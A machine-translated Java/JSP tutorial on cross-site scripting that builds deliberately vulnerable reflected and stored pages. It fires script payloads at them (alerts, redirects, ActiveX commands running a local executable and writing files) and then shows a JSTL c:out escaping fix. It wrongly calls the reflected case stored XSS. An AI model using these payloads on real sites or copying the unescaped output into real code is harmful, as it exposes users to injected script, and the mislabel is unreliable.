Preface
Hello everyone, a good man is me, I am a good man, I am -0nise. On major vulnerability reporting platforms, we often see XSS vulnerabilities. So the question is, why does this kind of vulnerability occur? How should this vulnerability be fixed?
text
1.XSS? XSS? What the hell is XSS?
XSS is also called Cross Site Scripting. I won't tell him that it was originally called CSS, but in order not to get confused with the Cascading Style Sheets CSS we use. CSS (cross-site scripting attack), CSS (cascading style sheet) is silly and can't tell the difference. So it's called XSS.
2.What are the dangers of XSS?
Experiment 1:
0x00 Construct code
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%><%String path = request.getContextPath();String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";%><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html> <head> <base href="<%=basePath%>"> <title>My JSP 'index.jsp' starting page</title> <meta http-equiv="pragma" content="no-cache"> <meta http-equiv="cache-control" content="no-cache"> <meta http-equiv="expires" content="0"> <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"> <meta http-equiv="description" content="This is my page"> </head> <body> <div style="margin: 0 auto"> <%//Set encoding request.setCharacterEncoding("UTF-8");//Receive user incoming value String tmp = request.getParameter("opr"); //Default incoming value is empty if(tmp == null){ out.print("111"); }else{ //Transcoding String opr = new String(tmp.getBytes("ISO-8859-1"),"utf-8"); out.print(opr); } %> I am content</div> </body></html>0x01 Environment Layout
0x02 Vulnerability Drill
We visit: http://localhost:8080/XSS/index.jsp?opr=i%E6%98%A5%E7%A7%8B
Then visit: http://localhost:8080/XSS/index.jsp?opr=0nise
Finally we discovered a "great law":
Print whatever page the opr parameter is equal to. (It seems nonsense)
Let's load a picture and see
Visit: http://localhost:8080/XSS/index.jsp?opr=%3Cimg%20src=%221.png%22%3E%3C/img%3E
Since all images can be loaded, are our JS files also loaded?
Visit: http://localhost:8080/XSS/index.jsp?opr=%3Cscript%3Ealert(/i%E6%98%A5%E7%A7%8B%E7%A4%BE%E5%8C%BA%E6%AC%A2%E8%BF%8E%E5%A4%A7%E5%AE%B6/)%3C/script%3E
Js? Js? So is it possible to change the address after jump?
Visit: http://localhost:8080/XSS/index.jsp?opr=%3Cscript%3Elocation.href=%27http://bbs.icunqiu.com%27%3C/script%3E
Since xss can load js, do we open some local things through js?
Put an MD5.exe file in advance
Visit: http://localhost:8080/XSS/index.jsp?opr=<script> var objShell = new ActiveXObject("wscript.shell");objShell.Run("G:/work/XSS/WebRoot/Md5.exe");</script>
Since even local files can be opened, remote file Trojan? Have a computer spoof? This is slowly quadrant. I didn't say it. . . . .
All files can be opened, so what about writing some files?
Visit: http://localhost:8080/XSS/index.jsp?opr=%3Cscript%3Evar%20fso,tf;fso%20=%20new%20ActiveXObject(%22Scripting.FileSystemObject%22);tf%20=%20fso.CreateTextFile(%22d://test.txt%22,true); tf.WriteLine(%22i%E6%98%A5%E7%A7%8B%E7%A4%BE%E5%8C%BA%E6%AC%A2%E8%BF%8E%E6%82%A8%22);tf.Close();alert(%22%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%88%90%E5%8A%9F%EF%BC%81%22);%3C/script%3E
Through the above experiments, we can see the opr parameter assignment operation. If the opr parameter has no value, it cannot be executed. The attacked person must access the attacker designed in advance before attacking. This XSS attack method is called: Storage XSS
If you want to see a more powerful experiment, please continue reading.
Experiment 2:
Preface:
Most websites will deal with data. So, what do these websites look like when XSS vulnerabilities appear?
0x00 Construct Code
Database part
BaseDao.java
import java.sql.Connection;import java.sql.DriverManager;import java.sql.PreparedStatement;import java.sql.ResultSet;import java.sql.SQLException;import java.sql.Statement;public class BaseDAO { //Open the connection public Connection getConn(){ Connection conn = null; try { Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver"); conn = DriverManager.getConnection("jdbc:sqlserver://localhost:1433;databaseName=SQLTMP","sa","sa"); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (SQLException e) { e.printStackTrace(); } return conn; } // Method to close link public void closeAll(Connection conn,Statement stat,ResultSet rs){ try { if(rs != null) rs.close(); if(stat != null) stat.close(); if(conn != null) conn.close(); } catch (SQLException e) { e.printStackTrace(); } } //Overload the close method public void closeAll(Connection conn,PreparedStatement pstat,ResultSet rs){ try { if(rs != null) rs.close(); if(pstat != null) pstat.close(); if(conn != null) conn.close(); } catch (SQLException e) { e.printStackTrace(); } } //Continue to overload public void closeAll(Connection conn,PreparedStatement pstat){ try { if(pstat != null) pstat.close(); if(conn != null) conn.close(); } catch (SQLException e) { e.printStackTrace(); } } //Public method for adding, deleting and modifying public int upDate(String sql,Object[] pram){ PreparedStatement pstat = null; Connection conn = null; int a = 0; try { conn = getConn(); pstat =conn.prepareStatement(sql); //Transfer through the parameter set and add the parameter correspondence in the set to the sql statement for (int i = 1; i <= pram.length; i++) { pstat.setObject(i, pram[i-1]); } //Calling method a = pstat.executeUpdate(); } catch (SQLException e) { e.printStackTrace(); } finally{ closeAll(conn, pstat); } return a; }}CommentDao.java
import java.sql.*;import java.util.*;import entity.*;public class CommentDao extends BaseDAO { /** * Get all messages* */ public List<comm> GetComment(){ //SQL statement String sql = "SELECT CID,CName,CContext FROM Comments"; List<comm> list = new ArrayList<comm>(); //Database connection object Connection conn = null; //SQL execution object PreparedStatement pstmt = null; //Database execution return value ResultSet rs = null; try { //Create database link conn = this.getConn(); //Create SQL execution object pstmt = conn.prepareStatement(sql); //Execute SQL statement return value rs = pstmt.executeQuery(); //Read while (rs.next()) { comment = new comm(); comment.setCID(rs.getInt("CID")); comment.setCName(rs.getString("CName")); comment.setCContext(rs.getString("CContext")); list.add(comment); } } catch (Exception e) { e.printStackTrace(); } finally{ //Close this.closeAll(conn, pstmt, rs); } return list; } public int AddComment(comm comment){ String sql = "INSERT INTO Comments VALUES(?,?)"; //Number of affected rows int result = 0; //Database connection object Connection conn = null; //SQL execution object PreparedStatement pstmt = null; try { //Create database link conn = this.getConn(); //Create SQL execution object pstmt = conn.prepareStatement(sql); //Set the parameters pstmt.setString(1, comment.getCName()); pstmt.setString(2, comment.getCContext()); //Execute the SQL statement result = pstmt.executeUpdate(); } catch (Exception e) { e.printStackTrace(); } finally{ this.closeAll(conn, pstmt); } return result; }}CommentServlvet
import java.io.*;import javax.servlet.*;import javax.servlet.http.*;import entity.*;public class CommentServlvet extends HttpServlet { /** * doGet() */ public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { request.setCharacterEncoding("UTF-8"); response.setContentType("text/html;charset=UTF-8"); PrintWriter out = response.getWriter(); String opr = request.getParameter("opr"); CommentDao commentDao = new CommentDao(); //Retrieve whether the parameter is empty if(opr == null || opr.equals("all")){ request.setAttribute("all", commentDao.GetComment()); //Forward request.getRequestDispatcher("comment.jsp").forward(request, response); }else if (opr.equals("add")){ comment comment = new comm(); comment.setCName(request.getParameter("UName")); comment.setCContext(request.getParameter("context")); if(commentDao.AddComment(comment) > 0){ out.print("<script>alert('Leave a message successfully'); location.href='CommentServlvet?opr=all';</script>"); }else{ out.print("<script>alert('Message failed');location.href='CommentServlvet?opr=all';</script>"); } }else{ request.setAttribute("all", commentDao.GetComment()); //Forward request.getRequestDispatcher("comment.jsp").forward(request, response); } out.flush(); out.close(); } /** * doPost() */ public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doGet(request, response); }}Comment.jsp
<%@ page language="java" import="java.util.*,entity.*" pageEncoding="UTF-8"%><%String path = request.getContextPath();String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";%><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html> <head> <base href="<%=basePath%>"> <title>My JSP 'comment.jsp' starting page</title> <meta http-equiv="pragma" content="no-cache"> <meta http-equiv="cache-control" content="no-cache"> <meta http-equiv="expires" content="0"> <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"> <meta http-equiv="description" content="This is my page"> </head> <body> <% request.setCharacterEncoding("UTF-8"); if(request.getAttribute("all") == null){ request.getRequestDispatcher("CommentServlvet?opr=all").forward(request, response); } %> <table> <% List<entity.comm> list = (List<entity.comm>)request.getAttribute("all"); for(int i = 0; i < list.size(); i++ ){ %> <tr> <td><%=list.get(i).getCName() %></td> <td><%=list.get(i).getCContext() %></td> </tr> <% } %> </table> <form action="CommentServlvet?opr=add" method="post"> <textarea rows="5" cols="30" name="context"></textarea> Nickname:<input type="text" name="UName" /> <input type="submit" value="Submit" /> </form> </body></html> 0x01 Vulnerability Experiment
root@1~#
We leave a message on the message board:
<script> var objShell = new ActiveXObject("wscript.shell");objShell.Run("G:/work/XSS/WebRoot/Md5.exe");</script>
Then visit: http://localhost:8080/XSS/comment.jsp
In this way, as long as you access this page, the software will automatically open and a remote file will be created? Understand slowly.
root@2~#
We leave a message on the message board:
Copy the code as follows: <script>var fso,tf;fso = new ActiveXObject("Scripting.FileSystemObject");tf = fso.CreateTextFile("d://test.txt",true);tf.WriteLine("i Chunqiu Community Welcomes You");tf.Close();alert("File Writing Successfully!");</script>
Then visit: http://localhost:8080/XSS/comment.jsp
File writing was successful.
root@3~#
Message content:
[code]<script>location.href='http://bbs.icunqiu.com'</script>[code]
Visit page: http://localhost:8080/XSS/comment.jsp
Visiting the message page will automatically jump to the attacker-specific website. Is this the legendary hijacking?
3.XSS Defense Solution
As the saying goes, wherever there is attack, there is defense. Like XSS, there are attack methods and defense solutions.
EL expression + JSTL tag library
EL (Expression Language): [size=12.0000pt] To make writing JSP easier. The expression language is inspired by ECMAScript and XPath expression language. It provides methods to simplify expressions in JSP to make jsp code simpler.
JSTL (JSP Standard Tag Library): Open source JSP tag library.
Experiment 1 Defense Code:
<%@ page language="java" import="java.util.*" pageEncoding="UTF-8"%><%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %><%String path = request.getContextPath();String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";%><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html> <head> <base href="<%=basePath%>"> <title>My JSP 'index.jsp' starting page</title> <meta http-equiv="pragma" content="no-cache"> <meta http-equiv="cache-control" content="no-cache"> <meta http-equiv="expires" content="0"> <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"> <meta http-equiv="description" content="This is my page"> </head> <body> <div style="margin: 0 auto"> <% request.setCharacterEncoding("UTF-8"); String tmp = request.getParameter("opr"); //Whether the incoming value is empty if(tmp == null){ out.print("111"); }else{ //Transcoding String opr = new String(tmp.getBytes("ISO-8859-1"),"utf-8"); request.setAttribute("name", opr); %> <c:out value="${requestScope.name }"></c:out> <% } %> I am content</div> </body></html>Experiment 2 Defense Code:
<%@ page language="java" import="java.util.*,entity.*" pageEncoding="UTF-8"%><%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c" %><%String path = request.getContextPath();String basePath = request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+path+"/";%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html> <head> <base href="<%=basePath%>"> <title>My JSP 'comment.jsp' starting page</title> <meta http-equiv="pragma" content="no-cache"> <meta http-equiv="cache-control" content="no-cache"> <meta http-equiv="expires" content="0"> <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"> <meta http-equiv="description" content="This is my page"> </head> <body> <% request.setCharacterEncoding("UTF-8"); if(request.getAttribute("all") == null){ request.getRequestDispatcher("CommentServlvet?opr=all").forward(request, response); } %> <table><!-- Defense XSS Solution--> <c:forEach var="x" items="${requestScope.all }"> <tr> <td> <c:out value="${x.getCName() }"></c:out> </td> <td> <c:out value="${x.getCContext() }"></c:out> </td> </td> </tr> </c:forEach> </table> <form action="CommentServlvet?opr=add" method="post"> <textarea rows="5" cols="30" name="context"></textarea> Nickname:<input type="text" name="UName" /> <input type="submit" value="submit" /> </form> </body></html> Conclusion
The technology is not black and white, and the specialization is very good.